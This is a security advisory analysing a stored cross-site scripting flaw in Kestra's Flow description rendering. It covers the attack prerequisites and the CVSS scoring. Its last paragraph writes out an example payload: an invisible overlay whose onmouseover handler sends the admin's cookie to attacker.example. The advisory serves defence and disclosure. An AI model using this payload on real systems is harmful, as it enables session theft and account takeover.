Kestra EUVD-2026-60976

The attacker must be an authenticated Kestra user with at least Low-privilege access - specifically, permission to create or edit Flows in any namespace (CVSS PR:L reflects this requirement). The victim must navigate to the Kestra Flow list page in their browser and actively interact with the description or info panel of the malicious Flow - for example, clicking the info icon - satisfying the UI:R requirement. No special server-side configuration, non-default feature flag, or unusual deployment mode is required; the [[link]] Markdown syntax is part of Kestra's default UI rendering. Exploitation is bounded by the need for an authenticated account with Flow edit rights: unauthenticated external attackers cannot exploit this flaw. The active user interaction requirement (clicking/hovering) prevents fully automated, zero-touch exploitation but does not require meaningful social engineering beyond directing a target user to review a Flow.

The CVSS 8.7 High rating with S:C accurately reflects cross-boundary impact: attacker privilege is bounded to Flow edit rights (PR:L), but execution occurs in a different user's browser context, potentially targeting administrators or namespace owners. The AC:L and AV:N metrics indicate no special conditions or network positioning are required beyond authenticated access to the Kestra UI. The publicly available proof-of-concept (confirmed in the GHSA advisory) significantly lowers the exploitation bar - the attack requires only a valid Kestra account with standard Flow permissions and a victim who views the Flow list. No EPSS score was provided in the input, so probability cannot be quantified numerically; however, POC availability combined with AC:L and a meaningful C:H/I:H impact warrants treatment as actively exploitable in any multi-user Kestra deployment. Absence of a CISA KEV listing does not imply safety given the fully functional POC. The UI:R requirement is a partial mitigating factor, limiting fully automated mass exploitation.

An attacker with standard Flow editor access crafts a YAML Flow whose description embeds [[link style='position:fixed;inset:0;z-index:9999' onmouseover='fetch("https://attacker.example/steal?c="+document.cookie)']], creating an invisible full-page overlay. When an administrator navigates to the Flow list and moves their cursor over the panel, the JavaScript fires, exfiltrating the admin's session cookie to the attacker's server. A fully functional proof-of-concept demonstrating browser JavaScript execution via this exact mechanism is publicly available in GHSA-34pm-923j-7wf8.